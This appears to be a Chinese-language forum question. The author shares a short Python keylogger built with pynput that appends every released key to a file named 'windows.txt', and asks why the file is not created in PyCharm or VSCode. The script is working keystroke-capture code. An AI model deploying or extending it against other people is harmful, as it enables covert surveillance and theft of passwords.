我正在制作一个按键记录器,该按键记录器将每个按键记录都记录在名为windows.txt的文件中。我正在使用pycharm IDE,但未创建.txt文件。当我在Jupyter Notebook上运行该代码时,它运行良好。
我也尝试在VSCode上运行它,但是它也没有在VSCode上运行。
# Import
from pynput import keyboard
# Decorate
class text_decorator():
def __init__(self, on_release):
self.on_release = on_release
def __call__(self, *args, **kwargs):
self.on_release(*args, **kwargs)
####---------Replace Text---------####
#read file and save it to a variable
with open('windows.txt', 'r') as f:
file_data = f.read()
#replace the text
file_data = file_data.replace('Key.space', ' ')
file_data = file_data.replace('Key.enter', '\n')
file_data = file_data.replace('Key.tab', '\t')
file_data = file_data.replace("'", "")
#write it again
with open('windows.txt', 'w') as f:
f.write(file_data)
@text_decorator
def on_release(key):
f = open('windows.txt', 'a+')
f.write(str(key))
f.close()
listener = keyboard.Listener(on_release = on_release)
listener.start()
错误: 它只是正常运行,不会显示任何错误或消息。